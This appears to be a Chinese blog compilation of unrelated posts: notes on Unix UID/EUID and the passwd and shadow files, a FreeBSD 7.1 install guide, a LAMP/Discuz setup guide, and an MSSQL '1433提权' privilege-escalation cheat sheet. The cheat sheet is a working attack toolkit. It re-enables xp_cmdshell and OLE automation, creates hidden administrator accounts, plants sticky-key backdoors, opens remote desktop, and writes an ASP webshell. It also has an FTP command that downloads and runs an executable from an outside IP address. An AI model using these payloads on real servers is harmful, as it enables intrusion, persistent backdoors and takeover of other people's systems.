UID,EUID,GID,EGID的关系

什么是UID,EUID,GID,EGID?
真正用户标识号(UID):该标识号负责标识运行进程的用户。roor是0.
有效用户标识号(EUID):该标识号负责标识以什么用户身份来给新创建的进程赋所有权、检查文件的存取权限和检查通过系统调用kill向进程发送软 中断信号的许可权限。我认为是EUID调用UID执行权限。
真正用户组标识号(GID):负责标识运行进程的用户所属的组ID。
有效用户组标识号(EGID):用来标识目前进程所属的用户组。可能因为执行文件设置set-gid位而与gid不同。

每个用户有一个uid和gid, 这个记录在/etc/passwd, /etc/group里面,每个文件有一个uid, 就是拥有这个文件的用户的uid。每个用户运行一个程序时是以自己的uid作为身份的,如果这个程序被设置了stick位,则这个程序以程序拥有者的 uid作为身份,程序运行时的这个身份(uid)就是euid, 表示这个程序以那个用户的身份运行(这样就拥有那个用户的权限,比如读取属于他的文件)。所以程序运行时的身份euid一般情况下都是运行这个程序的人的 uid,有时会是这个程序拥有者的uid。

以passwd程序为例,这个程序要写/etc/passwd, /etc/shadow,一般用户对这些文件是没有写权限的,用户A运行了passwd,这个passwd进程的euid就是uidA,当要写这两个文件 时,passwd调用了setuid(seteuid?),这样这个passwd进程的euid就是uidRoot了,passwd就可以写那两个文件 了,写完之后euid再切换成uidA.这个过程就实现了对/etc/passwd, /etc/shadow的受控访问:普通用户只允许按照passwd程序定义好的方式修改这两个文件。

下面来看下这两个文件:

(1)/etc/passwd
功能:存放系统的用户帐号信息
内 容:用户名 密码 UID GID 所属组用户主目录 SHELL
实例: u1 : x : 0 : 0 : u1     /home/u1 :/bin/bash

注:如果采用了shadow,此处存放口令的为屏蔽字符,真正密码保存在/etc/shadow中 。

如果不采用shadow,采用明文件显示,如果采用md5加密的话所存放的为密文。

(2)/etc/shadow

功能:存放用户口令(加密过的口令)
实例: u1 : bq$# : 10750: 0: 999 :7 : -1 :-1 : 12546
说明: u1 用户名
b1$# 加密的口令  
10750 从1970.1.1开始计算,该口令修改后已过去了多少天
0   需要再过多少天这个口令可以被修改
9999 密码的有效期
7 口令失效多少天前发出警告
-1 口令失效多少天之后禁用这个账户
-1 口令从1970.1.1计算,该口令已经禁用了多少天
12546 保留


FreeBSD 安装教程

FreeBSD 安装教程

本文以安装 FreeBSD 7.1 (i386) 为示范

转载来源:http://wiki.freebsdchina.org/howto/i/installbsd

帮助英语不好的朋友和初学FessDSB的朋友们

本人其实也是刚开始学用FreeBSD的菜鸟,由于时间空闲,所以想为FreeBSD尽点微薄之力,下文中可能有大量的错误,请老鸟们指正,免得让我误人 子弟.

FreeBSD 的下载

大家可以到 http://www.freebsdchina.org 的首页上选择下载,如果只是mini安装的话,只需下载 Disk1 (第一张光盘)就足够了 下载中大家可能看到有 i386和amd64两种版本,i386是32位的操作系统,amd64是64位的操作系统,amd64并不是表示只能使用在amd公司产的64位的系统 上,Intel的相关x86架构上的64位系统也可以使用。 (希望了解相关知识的老鸟们补充一下相关的知识) 支持 FreeBSD amd64 的CPU例表

基本安装过程

OK,让我们开始FreeBSD之旅,直接敲回车,开始安装.

第一步:选择启动模式

上图的内容为;
1.启动FreeBSD [默认选项]
2.启动FreeBSD,禁用ACPI
3.安全模式启动FreeBSD
4.单用户模式启动FreeBSD
5……..偶也不知道 verbose loggin是啥 :-(
6.进入启动指令模式(翻译的可能有点问题)
7.重启

第二步:选择国家

我们当然是选择China了,如果选择呢,只要使用上下移动键就可以上下移动(我总感觉这句像废话)。移动键在我们键盘的最右手边的一排小键盘的左边,那 四个单独在一起的键,如果你分不清左右的话,我建议你还是拿根绳子自已找棵树吧

有的朋友可能要问,我已经选好了[China]了,怎么选择 [OK] 或 [Cancel] 呢,只需要按[Tab]键就行了,就可以在两者之间切换,如果你以前不知道,多按几下就明白了,光标会移动到你要进行操作的项目上去的。OK,如果你现在 会了,并能举一反三了,那说明你的智商至少70分以上

第三步:选择键盘类型

我们选择[USA ISO] 美式标准键盘

第四步:进入安装菜单

我们选择[Standard]进行安装,如果你想了解更多的关于sysinstall Main Menu的信息请点击sysinstall_main_menu

第五步:提示信息

翻译如下:xxxxx…..English Good的过来帮忙翻译一下 8-)

第六步:硬盘分区

这里,我们选择[A],键盘上按一下a键,表示使用全部硬盘空间,做完所有操作后,要退出此界面,只需按一下q键,就退出,并进入下一步

如果你想了解更多的此界面包含的信息,请点击这里fdisk_partition_editor

第七步:启动模式

选择[Standard],直接使用MBR启动
BootMgr,使用FreeBSD的启动管理,如果你要安装其它操作系统,使用此项
Standard 直接使用MBR模式,不使用启动管理器,如果你一个硬盘只使用FreeBSD一个操作系统的话,使用此项

第八步:提示信息

翻译如下:xxxxx…..English Good的过来帮忙翻译一下 8-)

第九步:分 区标签??(这里不知道怎么翻译,硬盘标签??)

OK,我们现在要对使用的硬盘空间进行….不知道怎么说了,分区吧,就当成分区吧 --!

当我们选定(利用上下移动键) [Disk: ad0 Partition name:ad0s1 Free: XXX blocks (xxx MB)]之后,可以使用a键进行自动配置,如果全部操作完成,需要退出此界面,进入下一步,按 q键,退出

如果你想了解更多的此界面包含的信息,请点击这里disklabel_editor

第十步:Choose Distributions (谁为帮忙翻译一下吧)

我们这里选择[Minmal]进行最小化安装.

如果你想了解更多的此界面包含的信息,请点击这里choose_distributions

第十一步:选择从哪里安装

1. CD/DVD 从CD/DVD上安装
2. FTP 从FTP服务器进行安装,如果你的网速够快的话,可以从官方Ftp网站进行网络安装
3. FTP 透过防火墙从FTP服务器进行安装
4. HTTP 通过http代理服务器从FTP服务器进行安装,这里还是从FTP服务器安装,只是使用了HTTP代理
5. DOS 从一个DOS分区进行安装
6. NFS 通过 NFS进行安装??
7. File System 偶也不是很明白
8. Floppy 从软盘进行安装。
9. Tape 从磁带机上进行安装

我们当然是选择 [CD/DVD] 了

第十二步:警告提示信息

选择[YES]
以上内容翻译如下:……..

第十三步:提示信息

以上内容翻译如下:……..

第十四步:网络配置

选择[YES],我们进行网络配置

第十五步:选择网络接口

em0 是我的网卡,你的网卡可能是其它,如果被FreeBSD识别出来的话,第一项就是配置网卡
plip0
sl0
ppp0
sl0
ppp0

我们进行网卡设置。选择[em0],注意,你的可能是其它值

第十六步:是否使用IPv6

选择[NO],我也很想用哪,可现在的网络不支持哪

第十七步:是否 使用 DHCP 来获得网络配置

选择[NO] (因为我的网络没有DHCP服务器)

第十八步:网卡配置

Host:你的这台主机的名称,你可以填你想要的名称
Domain:这里填写你的域名(如果你没有域名的话,我也不知道填什么,知道的兄弟请告诉一下)
IPv4 Gateway:网关IP
Name Server:名称服务器(你的DNS服务器)
IPv4 Address:此机的IP地址,这个你自已设定了
NetMask: 子网掩码,这个要问一下你的网络管理员,如果是254台机器的常见的局域网的话,就是255.255.255.0
Extra options to ifconfig: 偶也不知道这里填什么,反正空着就是了

第十九步:是否现在启用网络接口

选择[YES],上面的图示错了,要选[YES]

第二十步:是否做为网关

选择[NO]

第二十一步:是否设置inetd的配 置

选择[NO],这个是用来配置inetd的,相当于WINDOWS里控制面板里的 [服务]

第二十三步:是否启用SSH

选择[YES],因为我们要用SSH来远程控制服务器(大家都是懒人,免得老是往机房里跑了,受辐射不说,还瘦上两斤肉)

第二十三步:是否启用 FTP 服务

选择[NO],如果你要开启FTP服务器的话,选择YES

第二十四步:是启做为NFS服务器

选择[NO],偶们不想要它做为NFS 服务器

第二十五步:是否启用NFS客户端功 能

偶们还是选择[NO]

第二十六步:是否定制控制台设定????

[NO]

第二十七步:是否设置时区

[YES],这里我们将选择我们的时区,我们是中国北京时间

第二十八步:选择 本地 或 UTC 时间

这里我们选择[NO] 注: 世界协调时间(Universal Time Coordinated,UTC)
GPS 系统中有两种时间区分,一为UTC,另一为LT(地方时)两者的区别为时区不同,UTC就是0时区的时间,地方时为本地时间,如北京为早上八点(东八 区),UTC时间就为零点,时间比北京时晚八小时,以此计算即可

第二十九步:选择所在洲

[5 Asia] 我们选择亚洲,如果你不在亚洲的话,选择你所有的地区

第三十步:选择国家或地区

[9 China] 这里选择的有国家,也有地区,比如Hong Kong,是China的一部分,是一个地区

第三十一步:选择时区

我们中国大陆人民用的是 [1 east China - Beijin,Guangdong,Shanghai,etc .] 北京时间

第三十二步:选择是否使用短写模 式的时间???

这个按自已的需要选择,YES表示使用短写的时间模式???

第三十三步:是否使用Linux binary compatibility

由于…..(原因太多,我们就不一一例举了),所以我们要选择[YES],不然可能有部分Linux老爹生下的软件不能正常运行的

第 三十四步:是否有PS/2,serial,bus 的鼠标??

[NO],偶们不用mouse了

第 三十五步:这个偶也不知道有啥作用,以前没有碰到过

偶是选择 [NO],因为我也不知道是干嘛的,欢迎知道的来补充一下。

第三十六步:是否增加新用户

[YES]
这里我们要增加一用户,因为我们启用了SSH,而默认情况下Root帐号是不能远程登陆SSH,所以我们这里要增加个wheel组的用户,让它来进行 SSH远程登陆

第三十七步:用户和组管理界面

[User]
这里我们增加个wheel组的用户

第三十八步:增加一用户

这里要注意,Group和Member groups输入wheel,这个用户用来远程SSH登陆,切记切记,一定要设个密码,不然你的服务器就会变成公共场所了

第三十九步:退出用户管理

第四十步:提示信息

大意是:设置一个ROOT帐号的密码

第四十一步:设置root帐号的密码

一定要设的长一点哪,不过不要设完后自已也忘了密码 (偶就经常出这样的事故 --! )

第四十二步: ….. 不知道怎么翻译了

第四十三步:退出安装

选择[X Exit Instll]我们退出安装

最后一步:重启

这里要注意,一定要拿出光盘,后再选择[YES],切记切记

OK全文结束,累死我家毛驴了

LAMP环境搭建(Red Hat 5)BBS Discuz 7.0

LAMP就是linux+apache(httpd)+mysql+php,完美结合。。
实验环境Red Hat 5 .

开装。。
上面的几个包,光盘里面都有。

rpm -ivh 装上就是了。。依赖关系烦人的很,可以在装系统的时候多装一些。。。
我就复制一遍文章的装吧,人懒没治。。。嘿



一、安装Apache:

# tar -zxvf httpd-2.2.10.tar.gz

(其实在输入文件名时有个简单的技巧,按tab键补全。)

# cd httpd-2.2.10

#mkdir /usr/local/apache2   //建立一个apache2目录,这个目录是apahce的安装位置

#./configure –prefix=/usr/local/apache2 –enabel-so  //./configure 这个可以加-h来提供帮助,所有的选项都有解释的。

#make;make clean;make install  //这里加个make clean是防止以前有编译过的.

#ln /usr/local/apache2/bin/apachectl  /etc/rc.d/init.d/httpd  //添加为httpd“服务”

#echo “/usr/local/apache2/bin/apachect start” >>/etc/rc.d/rc.local   //设置httpd开机自运行

二、安装MySQL *

#tar -zxvf mysql-5.0.67.tar.gz

#cd mysql-5.0.67

#groupadd mysql

#useradd -g mysql mysql

#mkdir /usr/local/mysql

#mkdir /usr/local/mysql/data

#./configure –prefix=/usr/local/mysql –sysconfdir=/etc –enable-assembler –with-charset=utf8 –with-extra-charsets=all-static–localstaticdir=/usr/local/mysql/data

#make clean,make,make install

#/usr/local/mysql/bin/mysql_install_db


别忘记修改root密码默认是空。
#mysqladmin -u root password 123456  //最好设置复杂些。。。


三、安装PHP

#tar -zxvf php-5.2.6.tar.gz

#cd php-5.2.6

#mkdir /usr/local/php5

./configure   –prefix=/usr/local/php5   –with-mysql=/usr   –with-gd=/usr   –with-libxml-dir=/usr   –with-apxs2=/usr/local/apache2/bin/apxs   –with-zlib=/usr   –with-jpeg-dir=/usr/local/modules/jpeg   –with-freetype-dir=/usr   –with-curl=/usr   –with-png-dir=/usr   –enable-sockets   –with-config-file-path=/usr/local/apache2/conf

#make clean

#make
make install

#cp  php.ini-dist /usr/local/apache2/conf/php.ini  //php.ini-dist 文件在原代码所在的目录



添加PHP到Apache中

#vi  /usr/local/apache2/conf /httpd.conf



在httpd.conf文件相应的地方添加下面几行(如果在安装php5时,有的配置可以已经加上了,就不需要再重新添加了)



LoadModule php5_module modules/libphp5.so

在<IfModule mime_module> 和 </If>之间

大约在“TypesConfig conf/mime.types”之后加上以下几行



AddType application/x-httpd-php&#160; .php&#160; //只要有这一行PHP就可运行了

AddType application/x-httpd-php&#160; .phtml&#160; .php3

AddType application/x-httpd-php-soure&#160; .phps

注:前面三行代码中“.php”前面都有一个空格,否则启动apache服务器时会出错

在DirectoryIndex index.html index.html.var 后面添加index.php

重新启动apache就可以了

四、安装Zend

#tar -zxvf zendoptimizer-3.3.3-linux-glibc23-i386.tar.gz

#cd zendoptimizer-3.3.3-linux-glibc23-1.386

#./install.sh

安装过程中,需要输入php.ini的位置,和确定Apache的位置。

五、ZendOptimizer-3.3.0a-linux-glibc21-i386.tar

这个东西实验环境装不装都可以,起到优化作用。可以提到网站的访问速度。提高的还不少、
会让你选择php.ini的目录,是目录!默认就好。。

六、UCenter_1.5.1_SC_UTF8
1. 将 upload 文件夹下所有的文件上传

2. 如果您的主机为 *nix 操作系统,请设置如下文件夹权限为 777
./data
./data/avatar
./data/backup
./data/cache
./data/logs
./data/tmp
./data/view

3. 通过浏览器访问 http://您的域名/UC 安装目录/install/, 根据提示填写 mysql 配置信息、管理员账号信息

4.&#160; 删除 install 目录

5. 完成安装

七、安装 _7.2_SC_UTF8.zip

在UCenter向导里面添加这个应用。。
解压出来,首先修改配置文件,config.inc.php
以下这些目录需要可读写权限
./templates
./attachments
./forumdata
./forumdata/cache
./forumdata/templates
./forumdata/threadcaches
./forumdata/logs
执行安装脚本
请在浏览器中运行 install 程序,即访问 http://您的域名/论坛目录/install/
参照页面提示,进行安装,直至安装完毕.



下课了,最后一句话,,没有网卡的日志真不爽。。











1433提权

当你获得数据库的管理密码时,你还犹豫什么。提权吧、

注意SQLDebuggerr用户
echo y|cacls c:windowssystem32net1.exe /p everyone:f
=======================================================================

Error Message:未能找到存储过程 ‘master..xp_cmdshell’
修复法:很通用的,其实碰到 其他126 127的都可以一起修复,
除了xplog70.dll其他的都可以用这命令修复
第一步先删除:
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc ‘xp_cmdshell’

第二步恢复:
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

未能找到存储过程 ‘master..xp_cmdshell’
第一步:
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call
/
@dllname varchar(255)/
name of DLL containing function /
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) – sp_addextendedproc
GO
第二步:
EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
=======================================================================
恢复cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’
开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname =’xplog70.dll’

判断存储扩展是否存在
select count(
) from master.dbo.sysobjects where xtype=’x’ and name=’xp_cmdshell’
返回结果为1就ok
=======================================================================

SQL Server 阻止了对组件 ‘xp_cmdshell’ 的 过程’sys.xp_cmdshell’ 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 ‘xp_cmdshell’。有关启用 ‘xp_cmdshell’ 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。
;EXEC sp_configure ‘show advanced options’, 1 –
;RECONFIGURE WITH OVERRIDE –
;EXEC sp_configure ‘xp_cmdshell’, 1 –
;RECONFIGURE WITH OVERRIDE –
;EXEC sp_configure&#160;&#160; ‘show advanced options’, 0 –
=======================================================================

xplog70.dll修复:
Error Message:无法装载 DLL xplog70.dll 或该 DLL 所引用的某一 DLL。原因: 126(找不到指定的模块。)。
修复XPLOG70.DLL(先用文件查看下备份的目录下x86bin,然后把下面目录替换)
第一步
exec sp_dropextendedproc ‘xp_cmdshell’
第二步
dbcc addextendedproc ("xp_cmdshell","c:sql2ksp4x86binnxplog70.dll")
=======================================================================

恢复扩展存储过程的办法
先恢复sp_addextendedproc,语句如下:
第一:
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call / @dllname varchar(255)/ name of DLL containing function / as
set implicit_transactions off
if @@trancount > 0&#160;
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)&#160;
return (1)&#160;
end
dbcc addextendedproc( @functname, @dllname)&#160;
return (0) – sp_addextendedproc
GO
第二:
use master&#160;
exec sp_addextendedproc xp_cmdshell,’xp_cmdshell.dll’&#160;
exec sp_addextendedproc xp_dirtree,’xpstar.dll’&#160;
exec sp_addextendedproc xp_enumgroups,’xplog70.dll’&#160;
exec sp_addextendedproc xp_fixeddrives,’xpstar.dll’&#160;
exec sp_addextendedproc xp_loginconfig,’xplog70.dll’&#160;
exec sp_addextendedproc xp_enumerrorlogs,’xpstar.dll’&#160;
exec sp_addextendedproc xp_getfiledetails,’xpstar.dll’&#160;
exec sp_addextendedproc sp_OACreate,’odsole70.dll’&#160;
exec sp_addextendedproc sp_OADestroy,’odsole70.dll’&#160;
exec sp_addextendedproc sp_OAGetErrorInfo,’odsole70.dll’&#160;
exec sp_addextendedproc sp_OAGetProperty,’odsole70.dll’&#160;
exec sp_addextendedproc sp_OAMethod,’odsole70.dll’&#160;
exec sp_addextendedproc sp_OASetProperty,’odsole70.dll’&#160;
exec sp_addextendedproc sp_OAStop,’odsole70.dll’&#160;
exec sp_addextendedproc xp_regaddmultistring,’xpstar.dll’&#160;
exec sp_addextendedproc xp_regdeletekey,’xpstar.dll’&#160;
exec sp_addextendedproc xp_regdeletevalue,’xpstar.dll’&#160;
exec sp_addextendedproc xp_regenumvalues,’xpstar.dll’&#160;
exec sp_addextendedproc xp_regread,’xpstar.dll’&#160;
exec sp_addextendedproc xp_regremovemultistring,’xpstar.dll’&#160;
exec sp_addextendedproc xp_regwrite,’xpstar.dll’&#160;
exec sp_addextendedproc xp_availablemedia,’xpstar.dll’


————————————————————————————–
一.更改sa口令方法:
用sql综合利用工具连接后,执行命令:
exec sp_password NULL,’新密码’,’sa’
(提示:慎用!)

二.简单修补sa弱口令.
方法1:查询分离器连接后执行:
if exists (select * from
dbo.sysobjects where id = object_id(N’[dbo].[xp_cmdshell]’) and
OBJECTPROPERTY(id, N’IsExtendedProc’) = 1)
exec sp_dropextendedproc N’[dbo].[xp_cmdshell]’
GO
然后按F5键命令执行完毕

方法2:查询分离器连接后
第一步执行:use master
第二步执行:sp_dropextendedproc ‘xp_cmdshell’
然后按F5键命令执行完毕

无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
恢复方法:查询分离器连接后,
第一步执行:sp_dropextendedproc "xp_cmdshell"
第二步执行:sp_addextendedproc ‘xp_cmdshell’, ‘xpsql70.dll’

无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
恢复方法:查询分离器连接后,
第一步执行:exec sp_dropextendedproc ‘xp_cmdshell’
第二步执行:exec sp_addextendedproc ‘xp_cmdshell’,’xpweb70.dll’&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;
然后按F5键命令执行完毕

如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
查询分离器连接后,
2000servser系统:
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:winntsystem32cmd.exe /c net user Web hacker /add’
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:winntsystem32cmd.exe /c net localgroup administrators Web /add’
xp或2003server系统: 126错误!命令
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net user Web$ hacker /add’
declare @shell int exec sp_oacreate ‘wscript.shell’,@shell output exec sp_oamethod @shell,’run’,null,’c:windowssystem32cmd.exe /c net localgroup administrators Web$ /add’
=======================================================================
找不到存储过程 sp_addextendedproc
解决方法:
create procedure sp_addextendedproc — 1996/08/30 20:13
@functname nvarchar(517),/
(owner.)name of function to call /
@dllname varchar(255)/
name of DLL containing function */
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,’sp_addextendedproc’)
return (1)
end
dbcc addextendedproc( @functname, @dllname)
return (0) – sp_addextendedproc
GO
这段代码贴入查询分离器,执行
查看目录
exec master.dbo.xp_subdirs ‘c:’
列出磁盘
e
xec master..xp_fixeddrives
xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!
EXEC master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SoftWareMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,0
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0’,’;Database=c:windowssystem32iasias.mdb’,’select shell("net user 123 123 /add")’);
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0’,’;Database=c:windowssystem32iasias.mdb’,’select shell("net localgroup administrators 123 /add")’);
=======================================================================
开3389:
exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,0;–
关3389:
exec master.dbo.xp_regwrite’HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal Server’,’fDenyTSConnections’,’REG_DWORD’,1;
查看3389端口
exec xp_regread ‘HKEY_LOCAL_MACHINE’,’SYSTEMCurrentControlSetControlTerminal ServerWinStationsRDP-Tcp’,’PortNumber’
普通CMD后门
xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe’,’debugger’,’reg_sz’,’c:windowssystem32cmd.exe’

建立用户1-这里默认用户是Reconditeness密码9527可自行修改
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:winntsystem32iasias.mdb’,’select shell("cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup administrators terks /ad")’)
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:windowssystem32iasias.mdb’,’select shell("cmd.exe /c net1 user Reconditeness 9527 /ad &net localgroup administrators terks /ad")’)

win2K直接上PS马
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,1
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:winntsystem32iasias.mdb’,’select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")’)

win03-XP直接上PS马
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,1
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=c:windowssystem32iasias.mdb’,’select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo get 0.exe>>net.txt&@echo bye>>net.txt&@ftp -s:net.txt&del net.txt & 0.exe")’)

shift后门命令
declare @o int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘copyfile’,null,’c:windowsexplorer.exe’ ,’c:windowssystem32sethc.exe’;
declare @o int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘copyfile’,null,’c:windowssystem32sethc.exe’ ,’c:windowssystem32dllcachesethc.exe’;
copy c:windowsexplorer.exe c:windowssystem32sethc.exe
copy c:windowssystem32sethc.exe c:windowssystem32dllcachesethc.exe

declare @o int
exec sp_oacreate ‘wscript.shell’, @o out
exec sp_oamethod @o, ‘run’, NULL, ‘XXXXX’ XXXXX为你要执行的命令


开3389
REG ADD HKLMSYSTEMCurrentControlSetControlTerminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f

SQL写一句话
exec master.dbo.xp_subdirs ‘d:webcdlxkj’;
exec sp_makewebtask ‘d:webcdlxkjXX.asp’,’select’’<%execute(request("SB"))%>’’ ‘
SA沙盒模式提权—–
———————-
exec master..xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,0;
——————————————————-
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0’,’;Database=c:windowssystem32iasias.mdb’,’select shell("net user sql$ 123 /add")’);
——————————————————-
Select * From OpenRowSet(‘Microsoft.Jet.OLEDB.4.0’,’;Database=c:windowssystem32iasias.mdb’,’select shell("net localgroup administrators sql$ /add")’);

SHIFT
入侵
EXEC master..xp_regwrite
@rootkey=’HKEY_LOCAL_MACHINE’,
@key=’SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.EXE’,
@value_name=’Debugger’,
@type=’REG_SZ’,
@value=’C:WINDOWSexplorer.exe’
整个过程是利用master..xp_regwrite这组件来完成的,

1.sql命令查询注册表粘滞键是否被劫持
exec master..xp_regread ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe’,’Debugger’
2.sql命令劫持注册表粘滞键功能,替换成任务管理器(当然你也可以替换成你想要的其他命令)
xp_regwrite ‘HKEY_LOCAL_MACHINE’, ‘SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe’,
‘Debugger’,’REG_SZ’,’C:WINDOWSsystem32taskmgr.exe’
3.sql命令删除注册表粘滞键的劫持功能保护你的服务器不再被他人利用
xp_regdeletekey ‘HKEY_LOCAL_MACHINE’, ‘SOFTWAREMicrosoftWindows NTCurrentVersionImage File Execution Optionssethc.exe’

sql写文件
declare @o int, @f int, @t int, @ret int
exec sp_oacreate ‘scripting.filesystemobject’, @o out
exec sp_oamethod @o, ‘createtextfile’, @f out, ‘c:1.vbs’, 1
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’set wsnetwork=CreateObject("WSCRIPT.NETWORK")’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’os="WinNT://"&wsnetwork.ComputerName’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set ob=GetObject(os)’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set oe=GetObject(os&"/Administrators,group")’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set od=ob.Create("user","test")’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetPassword "1234"’
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’od.SetInfo ‘
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’Set of=GetObject(os&"/test",user) ‘
exec @ret = sp_oamethod @f, ‘writeline’, NULL,’oe.add os&"/test"’
exec master..xp_cmdshell ‘cscript c:1.vbs’

无NET提权的脚本
struser=wscript.arguments(0)
strpass=wscript.arguments(1)
set lp=createObject("WSCRIPT.NETWORK")
oz="WinNT://"&lp.ComputerName
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",struser)
od.SetPassword strpass
od.SetInfo
Set of=GetObject(oz&"/" & struser & ",user")
oe.Add(of.ADsPath)
For Each admin in oe.Members
if struser=admin.Name then
Wscript.echo struser & " 建立成功!"
wscript.quit
end if
Next
Wscript.echo struser & " 用户建立失败!"
将以上保存为user.VBS文件
然后执行:cscript user.vbs 用户名 密码

=======================================================================
恢复xp_cmdshell
exec sp_dropextendedproc ‘xp_cmdshell’
EXEC sp_addextendedproc xp_cmdshell,@dllname =’xplog70.dll’declare @o int
=======================================================================
开启xp_cmdshell
USE master
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘xp_cmdshell’, 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘show advanced options’, 0
=======================================================================
开启Automation Procedures
USE master
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘Ole Automation Procedures’,1
RECONFIGURE WITH OVERRIDE
EXEC sp_configur
e ‘show advanced options’, 0
=======================================================================
开启Distributed Queries
USE master
EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘Ad Hoc Distributed Queries’,1
RECONFIGURE WITH OVERRIDE
EXEC sp_configure ‘show advanced options’, 0
=======================================================================
恢复Xp_regwrite
EXEC sp_dropextendedproc ‘Xp_regwrite’
exec sp_addextendedproc xp_regwrite,’xpstar.dll’
=======================================================================
恢复sp_OACreate
dbcc addextendedproc ("sp_OACreate","odsole70.dll")
exec sp_addextendedproc sp_OAMethod,’odsole70.dll’
=======================================================================
cmdshell开3389
exec master..xp_cmdshell ‘echo Windows Registry Editor Version 5.00>c:3389.reg’
exec master..xp_cmdshell ‘echo [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlTerminal Server]>>c:3389.reg’
exec master..xp_cmdshell ‘echo "fDenyTSConnections"=dword:00000000>>c:3389.reg’
exec master..xp_cmdshell ‘regedit /s c:3389.reg’
exec master..xp_cmdshell ‘del c:3389.reg’
=======================================================================
cmdshell添加用户
insert resultcmd_cc exec master..xp_cmdshell ‘net user 用户 密码 /add’
insert resultcmd_cc exec master..xp_cmdshell ‘net user 用户 密码’
insert resultcmd_cc exec master..xp_cmdshell ‘net user 用户 /active:yes’
insert resultcmd_cc exec master..xp_cmdshell ‘net localgroup administrators 用户 /add’
=======================================================================
oacreate添加用户
DECLARE @s int EXEC sp_oacreate [wscript.shell], @s out
EXEC sp_oamethod @s,[run], NULL, [net user support$ support /add]
EXEC sp_oamethod @s,[run], NULL, [net localgroup administrators support /add]
=======================================================================
regwrite添加用户
Exec master.dbo.xp_regwrite ‘HKEY_LOCAL_MACHINE’,’SOFTWAREMicrosoftJet4.0Engines’,’SandBoxMode’,’REG_DWORD’,0
select * from openrowset(‘microsoft.jet.oledb.4.0’,’;database=iasdnary.mdb’,’select shell("net user 用户 密码 /add")’)
